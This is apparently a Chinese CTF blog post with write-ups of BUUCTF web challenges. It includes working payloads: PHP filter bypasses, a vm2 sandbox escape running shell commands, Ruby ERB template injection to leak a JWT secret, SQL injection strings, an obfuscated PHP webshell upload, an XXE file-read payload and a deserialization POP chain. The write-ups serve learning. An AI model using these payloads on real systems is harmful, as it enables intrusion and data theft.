April 8, 2023

BUUCTF Web Writeup 4

启语

不知不觉就到了第四页了,难度也是直线往上飙了,希望自己可以跟上!

[BJDCTF2020]EzPHP

考点:各种PHP的bypass
这一题我认为实在是有点难,真的,虽然是白盒审计,而且也是PHP,但是就是感觉东西很新颖啊
查看源码:
image.png
BASE32解密1nD3x.php入口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "
<font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("
Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
Aqua is the cutest five-year-old child in the world! Isn't it ?

题目有多层绕过,我们一层层的剖析
第一层——绕过$_SERVER[‘QUERY_STRING’]
这里有个小TIPS啊,我之前也没仔细去研究,就是$_SERVER['QUERY_STRING'])这个内置变量是不会识别URL编码的,本地测试一下:
image.png
就这样第一层就被我bypas了

第二层——绕过preg_match
有关内容已经接触过很多,但我还疏漏了一个:
在非多行模式下,$似乎会忽略在句尾的%0a

1
2
3
if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
echo $flag;
}

?a=flag%0a这样就能完美bypass

第三层——绕过$_REQUEST
涉及我的知识盲区了,这里有个小知识:
众所周知REQUEST是POST和GET请求通吃的,但是假如POST和GET都传入一个变量名一样的参数呢?他会如何处理:
image.png
在test和1之间,他终究选择了当一个1咳咳
也就是说我们可以利用优先级来bypass

第四层——数组绕过和data伪协议
对于file_get_contents函数用data伪协议或者input去绕过
对于sha1加密用数组绕过即可

到这里我们就已经成功翻过了WAF了,继续往下分析:
extract($_GET["flag"]);会注册flag数组的变量,根据下面的code,arg变量来看应该是要注册他们两个,那注册什么好呢?
create_function函数我们不要忘记

1
2
3
4
5
create_function('',123)
//等价于
function (){
return 123;
}

所以可以构造payloadflag[code]=create_function&flag[arg]=1;}var_dump(get_defined_vars());//来获得已有变量:

1
2
3
4
5
编码后:

【GET】file=%64%61%74%61%3A%2F%2F%74%65%78%74%2F%70%6C%61%69%6E%3B%62%61%73%65%36%34%2C%5A%47%56%69%64%56%39%6B%5A%57%4A%31%58%32%46%78%64%57%45%3D&%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0a&%73%68%61%6E%61[]=1&%70%61%73%73%77%64[]=2&%66%6C%61%67[%63%6F%64%65]=create_function&%66%6C%61%67[%61%72%67]=}var_dump(get_defined_vars());//

【POST】file=1&debu=2

可以发现他说了真的flag在rea1fl4g.php中,现在就是想办法去读取了:
由于inc被过滤,include无法使用,所以我们用require去配合filter伪协议进行一个文件读取,但是不可能是直接require(php://filter/convert.base64-encode/resource,由于被过滤了很多东西,我们需要对require内的参数进行一个取反绕过:

1
2
3
4
5
6
7
8
9
10
11
#Author:Shaw
//太懒了偷了大佬的脚本
<?php
$str = "p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = r e a 1 f l 4 g . p h p";
$arr1 = explode(' ', $str);
echo "<br>~(";
foreach ($arr1 as $key => $value) {
echo "%".bin2hex(~$value);
}
echo ")<br>";
?>

就是进行一个取反操作

方法二:
对require里的内容进行一个base64_decode绕过,这样也可以bypass,包含了flag文件后,再get_defined_vars,由于BUUCTF上面好像动了些手脚,所以这个方法无法复现成功,得到了flag后才知道是动了什么手脚:
image.png
他unset销毁了flag文件,所以导致我们无法直接得到,只可以按照第一种方法去获得flag

小误区
/^[a-z0-9]*$/isD看这个正则,我写的时候卡了一下,对正则的审视还是需要注意一下的
这一段正则的意思是a_a,a.a,a*a这样的不会被识别,你单输入一个a就给识别了
foreach($_REQUEST as $value),对于数组且只指定了一个as value,foreach遍历的是值,老是忘记

[网鼎杯 2020 半决赛]AliceWebsite

考点:任意文件读取
白盒测试,给了源码
image.png

[HFCTF2020]JustEscape

考点:Nodejs Vm2逃逸
这边我自己测的时候发现了考的是nodejs,但是不知道是vm2,如何测试呢?根据报错信息去搜一下就知道他是js语法的报错信息,而不是php的,所以只能到这了
由于我没学完NODEJS,不熟!以后再细腻的去分析
这边直接丢WP:

2022.11.27

2022.12.29
学会了,时隔一个月,还债,诶牛魔酬宾
首先初步poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

这是github上抛出的一个3.83版本的vm2逃逸漏洞,他的原理其实就是污染了TypeError对象,TypeError对象是一个错误异常,是属于沙盒外的东西,利用Object.preventExtensions(Buffer.from("")).a = 1;去抛出一个异常,preventExtensions方法会让一个对象无法改变它的属性,这里就触发了错误,因此抛出TypeError
但是这并不是最终的payload,还得bypass一下关键词过滤,这里使用ES6的模板字符串就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function (){
TypeError[`${`prototyp`}e`][`${`get_proces`}s`] = f=>f[`${`constructo`}r`](`return this.${`proces`}s`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`get_proces`}s`](()=>{}).mainModule[`${`requir`}e`](`${`child_proces`}s`)[`${`exe`}cSync`](`whoami`).toString();
}
}+')()';
console.log(untrusted)
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

或者用数组绕过
当对象的方法或者属性名关键字被过滤的情况下可以利用数组调用的方式绕过关键字的限制
image.png
嗯,结束

[GXYCTF2019]StrongestMind

这几把题就是有BUG
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import re
import time

url="http://7c7ff4a3-91fd-46ac-817f-7d576e1e4225.node4.buuoj.cn:81/index.php"
session = requests.session()
req = session.get(url).text
flag = ""

for i in range(1010):
try:
result = re.findall("\<br\>\<br\>(\d.*?)\<br\>\<br\>",req)#获取[数字]
result = "".join(result)#提取字符串
result = eval(result)#运算
print("time: "+ str(i) +" "+"result: "+ str(result))

data = {"answer":result}
req = session.post(url,data=data).text
if "flag{" in req:
print(re.search("flag{.*}", req).group(0)[:50])
break
time.sleep(0.1)#防止访问太快断开连接
except:
print("[-]")

[SCTF2019]Flag Shop

考点:Ruby ERB模板注入,JWT伪造
首先捏,你得先学习一下Ruby的基础语法之类的,用的是sinatrarb框架,都得学一下
https://sinatrarb.com/intro.html
https://ruby-china.org/topics/25648
首先是robots.txt信息泄露:
image.png
得到source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end

get "/" do
redirect '/shop', 302
end

get "/filebak" do
content_type :text
erb IO.binread __FILE__
end

get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end

get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
erb :shop
end

get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end

if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

end
end

post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

if auth[0]["jkl"] < FLAGPRICE then

json({title: "error",message: "no enough jkl"})
else

auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end


def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end

可以审计一下源码分析一下大致逻辑
首先漏洞点出在/work路由上

1
2
3
4
5
6
if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

这一段代码最后用ERB模板去渲染了输出结果,我就寻思为啥要用个sinatra框架(喜欢用一些这种东西,些许不适)
然后紧接着就是如何用这里的SSTI去获取我们的SECRETKEY去伪造jwt,这里又要介绍一下Ruby的预定义字符了:

image.png
今天的主角是$',他可以用来获取匹配选中部分之后的字符串
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}"
前面我们对SECRET和我们传入的参数SECRET进行了匹配,假如我们传入SECRET为空,那匹配之后的部分不就是KEY值吗,所以构造payload如下
/work?name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working&SECRET=,其中URL编码部分为<%=$'%>
SSTI部分请参考:
至此可以获取到key:
image.png
之后拿获取到的key去构造jwt:
然后去flag界面获取得到的auth
image.png

1
2
3
4
auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})

从这段代码可以看到把flag放到了cookie中的auth里,我们反向解密一下就好了:
image.png

October 2019 Twice SQL Injection

考点:二次注入
杂碎题,第一次居然没写出来,我是傻逼啊我草

1
2
3
4
5
6
#x' union select group_concat(table_name) from information_schema.tables where table_schema=database()#
#asdasdasdasdasdasdsdddddddsadasdasdsadasdasdasdasdxzczsadasda
#flag,news,users
#x' union select group_concat(column_name) from information_schema.columns where table_name='flag'#
#flag
#x' union select flag from flag#

用户名处二次注入,真的狗屎,就是个联合注入,我还想着跑脚本呢,结果设置了访问时间间隔,搞得我以为有长度限制,你妈的

[SUCTF 2018]GetShell

考点:文件上传+中文命令执行
这一题的原型其实也就是一个类似自增来达到命令执行目的的题目,披了个文件上传的皮
image.png
首先给了我们过滤的逻辑,会判断上传文件的内容,从第五个字符后开始判断,第六个字符开始不能出现黑名单内的词汇,因此这里就得做一个fuzz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from time import sleep
#Author:Boogipop
import requests
url="http://50bb3407-a3d6-4e7f-a476-b1eea0ba60ad.node4.buuoj.cn:81/index.php?act=upload"
for i in range(1,128):
string=chr(i)
file_content='11111'+string
file={
'file':('1.php', file_content, 'application/octet-stream')
}
r=requests.post(url=url,files=file)
sleep(0.1)
# print(str)
# print(r.text)
if "Stored" in r.text:
print("当前字符可用:"+string+"Ascii:"+str(i))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
当前字符可用:Ascii:1
当前字符可用:Ascii:2
当前字符可用:Ascii:3
当前字符可用:Ascii:4
当前字符可用:Ascii:5
当前字符可用:Ascii:6
当前字符可用:Ascii:7
当前字符可用Ascii:8
当前字符可用: Ascii:9
当前字符可用:
Ascii:10
当前字符可用: Ascii:11
当前字符可用: Ascii:12
Ascii:13
当前字符可用:Ascii:14
当前字符可用:Ascii:15
当前字符可用:Ascii:16
当前字符可用:Ascii:17
当前字符可用:Ascii:18
当前字符可用:Ascii:19
当前字符可用:Ascii:20
当前字符可用:Ascii:21
当前字符可用:Ascii:22
当前字符可用:Ascii:23
当前字符可用:Ascii:24
当前字符可用:Ascii:25
当前字符可用:Ascii:26
当前字符可用:Ascii:27
当前字符可用:Ascii:28
当前字符可用:Ascii:29
当前字符可用:Ascii:30
当前字符可用:Ascii:31
当前字符可用:$Ascii:36
当前字符可用:(Ascii:40
当前字符可用:)Ascii:41
当前字符可用:.Ascii:46
当前字符可用:;Ascii:59
当前字符可用:=Ascii:61
当前字符可用:[Ascii:91
当前字符可用:]Ascii:93
当前字符可用:_Ascii:95
当前字符可用:~Ascii:126
当前字符可用:Ascii:127

得出的结果如上,可以发现留给我们的可用字符有$ ( ) . ; = [ ] _ ~,以及经过测试,中文汉字也可以以及回车和换行,由此可以发现是不是和自增有点像了·
接下来的流程就很清晰,利用取反中文来获取有用的英文字母,写个PHP脚本进行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
//Author:Boogipop
$poem="妾发初覆额折花门前剧郎骑竹马来,绕床弄青梅同居长干里两小无嫌猜十四为君妇羞颜未尝开低头向暗壁唤不一十五始展眉愿同尘与灰常存抱柱信岂上望夫台十六君远行瞿塘滟滪堆五月不可触,猿声天上哀。门前迟行迹一生绿苔。苔深不能扫落叶秋风早八月胡蝶来双飞西园草感此伤妾心坐愁红颜老早晚下三巴预将书报家相迎不道远直至长风沙";
$arr=preg_split('//u',$poem);

function fuzz($array){
$list=[];
$len=count($array);
for($i=1;$i<$len-1;$i++){
$list[$array[$i]]=~$array[$i][1];
}
return $list;
}
function search($word,$list){
$key_res="";
for($i=0;$i<strlen($word);$i++){
$key=array_search($word[$i],$list);
$key_res.="~".$key." ";
}
$res=$word." : ".$key_res;
return $res;
}
$dict=fuzz($arr);
echo search("eval",$dict);
?>

image.png
没咋写过php脚本,无语…..
接下来就可以构造我们上传文件的内容了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$_=(_==_);
$__=~(瞿);
$___=$__[$_];
$__=~(猜);
$___.=$__[$_];
$__=~(猜);
$___.=$__[$_];
$__=~(暗);
$___.=$__[$_];
$__=~(十);
$___.=$__[$_];
$__=~(苔);
$___.=$__[$_];
$____=~(识);
$_____=$____[$_];
$____=~(水);
$_____.=$____[$_];
$____=~(欣);
$_____.=$____[$_];
$____=~(竹);
$_____.=$____[$_];
$_____=_.$_____;
$__=$$_____;
$___($__[$_]);

最后也是在系统环境变量env中获取flag:
image.png
PS:老子蚁剑坏了

[b01lers2020]Life on Mars

考点:SQL UNION注入
很蠢的一道题
[http://73553657-7a5d-49d1-93ef-cb2b8b01e624.node4.buuoj.cn/query?search=chryse_planitia%20union%20select%201,group_concat(id,code)%20from%20alien_code.code](http://73553657-7a5d-49d1-93ef-cb2b8b01e624.node4.buuoj.cn/query?search=chryse_planitia%20union%20select%201,group_concat(id,code)%20from%20alien_code.code)

[GKCTF 2021]easycms

考点:CMS
这题感jio不错,虽然没做出来,但是还是发现,假如做cms的题目,没给你源码,那你就自己去下,然后在本地调试一下,cms的题还是比较难QWQ
通过这一题我居然把GKCTF 2021所有web题学习了一波QWQ:
进入正题吧:
image.png
首先就是admin.php管理员界面泄露,密码就是12345,题目中提示了,进入这里找到了第一个可疑getshell的点:
image.png
幻灯片界面,点进去编辑可以发现,php代码:
image.png
但是无法提交,显示错误:
image.png
他有一个文件验证,现在我们没有这个文件,所以无法更改,因此只能想办法看看在哪儿可以去生成这个文件,网上去找找源码:
image.png
是通过file_exists去检测的,可以用文件或者文件夹去绕过,然后在生成微信接口的界面发现:
image.png
image.png
存在一个mkdir函数,而且account的值就是原始ID,因此存在一个目录穿越
我们创建一个原始ID为../../../system/tmp/itja.txt/1的公众号即可,这样的话就可以生成itja.txt目录,从而绕过file_exists:(在这之前记得县创建一个正常的接口,否则无法正常执行):
image.png
更改成功后直接在首页可以得到flag:
image.png
还有另外一种getshell的方法:
image.png
高级界面内也可以去设置内容

[MRCTF2020]Ezaudit

考点:信息泄露、PHP伪随机数、SQL注入?
首先存在www.zip泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}

else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}

}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???

第一个问题就是如何得到私钥,题目给了我们公钥为KVQP0LdJKRaV3n9D,观察生成公钥和私钥的函数可以发现,用的是mt_rand可以进行伪造,写一个脚本变成php_mt_seed能看得懂的形式:

1
2
3
4
5
6
7
8
9
10
str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2='KVQP0LdJKRaV3n9D'
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)

得出结果:
36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61
让脚本计算种子:
image.png
获取种子后就可以获取私钥:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
mt_srand(1775196155);
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
var_dump(public_key());
var_dump(private_key());
?>

image.png
私钥为XuNhoueCDCGc,还有一个小地方需要绕过,就是源码处的password,由于没做任何过滤,直接万能密码即可:
image.png

[极客大挑战 2020]Roamphp1-Welcome

简单题且BUUCTF靶场好像复现不了,有问题没修复-2023-1.4

[CSAWQual 2019]Web_Unagi

考点:XXE注入绕过
image.png
一个简单的web,有个文件上传的功能,是上传xml文件的地方:
image.png
这是题目给的上传样例,考点自然就是XXE注入,但是这里过滤了SYSTEM,ENTITY,file等字样,需要bypass,在网上检索到了绕过xxe保护的文章:

image.png
可以用编码绕过,也就是我们可以把xml文件从UTF-8转到UTF-16BE格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?xml version="1.0" ?>
<!DOCTYPE feng [
<!ENTITY file SYSTEM "file:///flag">
]>
<users>
<user>
<username>alice123</username>
<password>passwd1</password>
<name>Alice</name>
<email>Boogipop </email>
<group>CSAW2019</group>
<intro>&file;</intro>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>HACKED!</intro>
</user>
</users>

cat 1.xml|iconv -f UTF-8 -t UTF-16BE >flag.xml
之后上传文件就getflag了:
image.png

[GYCTF2020]Easyphp

考点:反序列化字符逃逸,代码审计,信息泄露
www.zip泄露:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
require_once "lib.php";

if(isset($_GET['action'])){
require_once(__DIR__."/".$_GET['action'].".php");
}
else{
if($_SESSION['login']==1){
echo "<script>window.location.href='./index.php?action=update'</script>";
}
else{
echo "<script>window.location.href='./index.php?action=login'</script>";
}
}
?>



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
require_once "lib.php";

if(isset($_GET['action'])){
require_once(__DIR__."/".$_GET['action'].".php");
}
else{
if($_SESSION['login']==1){
echo "<script>window.location.href='./index.php?action=update'</script>";
}
else{
echo "<script>window.location.href='./index.php?action=login'</script>";
}
}
?>



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}

先介绍2个函数咯,因为自己见的比较少:

这个就是往sql语句对应的?中传值

拿题目中的sql语句为例,选了id,password两个数据,那$idResult对应的就是id,$passwordResult对应password,假如结果有多个就是一个数组

这边lib是存在一个反序列化pop构造的,我第一遍做的时候忽略了updatehelper这个类,我看他说未完善我就忽略了,我是脑瘫
Updatehelper的析构函数有echo $sql,假如这个sql为User对象,那就触发了User::__toString,这时需要nickname为Info对象,这样就触发了Info::__call,在call魔术方法里需要让CtrlCase为dbCtrl,这样可以触发dbCtrl::login($sql),紧接着我们的思路是让session['token']='admin',这样下次随便登录,只要用户名为admin就会登录成功,然后$sql就是User类里的age属性,把age属性赋值为我们需要执行的语句即可:

1
2
3
if ($this->token=='admin') {
return $idResult;
}

对应的就是这一段判断,我们让token为admin即可,构造pop时让dbCtrl的token为admin,pop如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
class User
{
public $id;
public $age=null;
public $nickname=null;
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name="admin";
public $password;
public $mysqli;
public $token;

}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($input){
$this->age=$age;
$this->nickname=$nickname;
$this->CtrlCase=$input;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($q){
$this->sql=$q;

}
}
$user1=new User;
$user1->age="select id,\"202cb962ac59075b964b07152d234b70\" from user where username=?";
$db=new dbCtrl;
$db->password="123";
$info=new Info($db);
$user1->nickname=$info;
$update=new UpdateHelper($user1);
echo serialize($update);
?>

序列化后结果为:O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}}}
由于lib.php反序列化的是Info类,我们还需要把上述的pop加到Info类去触发
首先,Info类正常反序列化结构如下:
O:4:"Info":3:{s:3:"age";s:4:"union"O:12;s:8:"nickname";s:1:"a";s:8:"CtrlCase";N;}
其次在序列化Info类的时候经过了safe函数的处理,会把union等字符替换为hacker,union变为hacker就多了1个字符,这就造成了字符逃逸

1
2
3
4
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}

插入点有两个,一个是age,一个是nickname,不用想肯定nickname更方便,因为位置靠后,我们需要插入如下数据:
